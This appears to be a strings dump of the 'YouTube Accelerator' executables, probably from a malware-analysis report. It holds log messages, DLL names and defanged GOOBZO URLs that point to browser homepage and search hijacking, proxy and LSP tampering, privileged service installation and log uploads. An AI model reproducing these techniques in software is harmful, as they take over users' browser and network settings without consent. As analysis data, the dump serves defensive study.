[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

YoutubeAcceleratorService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb

KERNEL32.dll

USER32.dll

ADVAPI32.dll

SHELL32.dll

VERSION.dll

USERENV.dll

PSAPI.DLL

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

tGHt.Ht&

FTPQ

.?AVunsupported_thread_option@boost@@

zcÁ

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

KERNEL32.DLL

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

GDI32.dll

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

:{6@;85|

].Vogz

ZN.sCx

7.ps#

|-j}A

umSg

C.UMxQ

.Yb"%

G P.Qw

dy%u~

x.YCD

$$.tmq

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

OUTUB~1\YouTubeAcceleratorService.exe

3.3.9.4

YouTubeAccelerator.exe_2520:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

ub9.tM

@ SSh

SSSSh

D$<9.tZ

\9.tB

D$`9.tZ

FTPj

t#WSSh

D$(PSSh

s%j.Zf

tGHt.Ht&

%a,%d-%b-%Y %H:%M:%S

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

spCmd

3.3.9.4

<img src="images/v4.gif" alt="" />

<img src="images/v3.gif" alt="" />

user32.dll

CWebBrowser2

CNotSupportedException

hhctrl.ocx

CCmdTarget

KERNEL32.DLL

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

OLEACC.dll

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

WINSPOOL.DRV

ADVAPI32.dll

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

oledlg.dll

ole32.dll

OLEAUT32.dll

WININET.dll

WS2_32.dll

USERENV.dll

PSAPI.DLL

.?AVCCmdTarget@@

.PAVCException@@

.?AVCWebWindow@@

.?AVCHttp@@

.?AVCHttpAsync@@

.?AVCExecuteUpdate@@

.?AVCExitWindows@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AVIPipeEventsThread@@

.?AVCSLogReportEventThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

<>"#{}|\^~[]`' ?&

.?AVCSABaseWebWindow@@

.?AVCSANotifierWebWindow@@

.?AVCSAWebWindow@@

.PAVCMemoryException@@

.?AVCWebBrowser2@@

.?AVCWebForm@@

.?AVCWebElement@@

.?AVCWebInput@@

.?AVCWebAnchor@@

.?AVCWebDiv@@

.?AVCWebCheckBox@@

.PAVCSimpleException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCOleException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCOleDispatchException@@

.PAVCArchiveException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCFileException@@

zcÁ

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

FTPQ

.?AVunsupported_thread_option@boost@@

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

.sq>9

.US?g#

~}.LRy

c.dQ7

ZcMD

@U|

I%S5E

$tTH2.yN"

iZ.ixY

L/%X=

2Ag{%c

v..jv

0\.Hc

v.Wj-

Tcrt

F.gj]

y.jxU

%cl%[

%X_`h

~L.DTh

).Zi0

.TOmY

n^5.fT

WB.Bp

.FuB3

]A]%U

.MAFEz

|SM

.UoZ}

%Xjv6

.Rw.J

u^.aO!

?*.LO!

,^.ew

|%f;.)

kB.hR

%>.zv

.kif;

^__:;;,,,~

9:;556011---

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

%s (%s:%d)

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

JhXXp://@BRAND_ID@.@[email protected]/support/video-sites

hXXp://@BRAND_ID@.@[email protected]/buy/hd/

hXXp://wiki.@[email protected]/doku.php?id=va:start

%s?OEM=%s

hXXp://VVV.@[email protected]

hXXp://@BRAND_ID@.@[email protected]/legal/license

blank.html

hXXp://VVV.@[email protected]/legal/privacy

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

@CActivationBrowser::OnBeforeNavigate : url = %s

CActivationBrowser::OnNavigateComplete : url = %s

CActivationBrowser::OnNavigateError : url = %s

Res.dll

CActivationBrowser::SetMetaData GOT 'OPEN_URL'

OPEN_URL

CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'

ACTIVATION_BACK_URL

activation_offline.mht

%X%X%X

hXXp://client.@[email protected]/clientva/Activation.aspx

CActivationBrowser::OnDocumentComplete : url = %s

ipc.dll

\\.\pipe\GOOBZO_VAPIPESERVERENG

LastNum%d

LastID%d

\\.\pipe\GOOBZO_VAPIPESERVERUI

CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s

CBrowserSettings::RegisterDLL %s

%s = %s; expires = %s

%a,%d-%b-%Y %H:%M:%S GMT

2prefs.js

profiles.ini

profile%d

Mozilla\Firefox\

cookies.txt

Software\Microsoft\Internet Explorer\AboutURLs

user_pref("keyword.URL", "%s");

Use Custom Search URL

DefaultSearchURL

SBSearch.dll

SearchURL

Web Search

user_pref("browser.startup.homepage","%s");

restore.GOOBZO.com

hXXp://search.GOOBZO.com

search.GOOBZO.com

%d-%b-%Y

hXXp://restore.GOOBZO.com

user_pref("browser.startup.homepage",

HTTP/1.0

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

HTTP/1.1

Content-Type: multipart/form-data; boundary=%s

Content-Disposition: form-data; name="%s"

XXX

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

test.youtubeaccelerator.com

hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CCommTest::SetEngineMode] %d

vaproxy.pac

[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!

[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d

testlsp.exe

[CCommTest::ProcessNextState] ___Error State = %d !!!

[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d

[CCommTestDlg::ResetConnectionTimer] SetTimer: %d

[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d

CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOff] ___Error GetRegistryKeys

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

B%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

You are using %s - Translated by:

[CFileResource::Load] ___Error SizeofResource: %d

[CFileResource::Load] ___Error LockResource: %d

[CFileResource::Load] ___Error LoadResource: %d

[CFileResource::Load] ___Error FindResource: %d

[CFileResource::Load] %s

[CFileResource::Extract] ___Error Write: %d

[CFileResource::Extract] ___Error Create: %d

[CFileResource::Extract] %s

[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x

[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

B[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d

http_port

user.js

user_pref("network.proxy.

autoconfig_url

Windows XP Firewall (ICF)

SOFTWARE\McAfee.com\Personal Firewall

DAP.EXE

Windows Security Alert

%d.%d.%d.%d

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

.html

\winhlp32.exe

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

Name: %s

Path: %s

Version: %s

%s_%d.log

CSLogReportEventThread::DoPacLogFiles] Zip file created.

*.bak

CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d

*.log

Config.xml

CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.

BakLspCommTest.zip

LspCommTest.zip

[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X

[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED

hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx

[CSLogReportEventThread::DoPostZipFile] Trying to POST...

[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s

hXXp://online.@[email protected]/online/

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current

M[CRegistrationMgr::IsTrialVersion]%d

exp=%d

ins=%d

Dur=%d

[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s

Trial.dat

Trial_QA.xml

[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s

(%d days left)

DAYURL

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetDailyUrl]

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyUrl]

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s

xmldb.dll

config.xml

RtmpListenPort

MiTunes.exe

[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::IsTrial] m_bIsTrial = %d

User%d

[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s

[CSA_GUIApp::GoToURL] ___Error The specified file was not found

YouTubeAccelerator.exe

[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s

ytalsp.dll

[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s

[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d

[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s

unwise.exe

[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d

[CSA_GUIApp::GetTempDir] Folder: %s

[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s

%s %s

[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s

YoutubeAcceleratorService.exe

D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s

[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)

[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s

Res\VARes_%d\

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x

[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x

[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s

VARes_%d\

[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d

ResOld.dll

ResTemp.dll

[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x

[CSA_GUIApp::RunFinishHtml] GotoURL status is %d

[CSA_GUIApp::RunFinishHtml] Finish URL is : %s

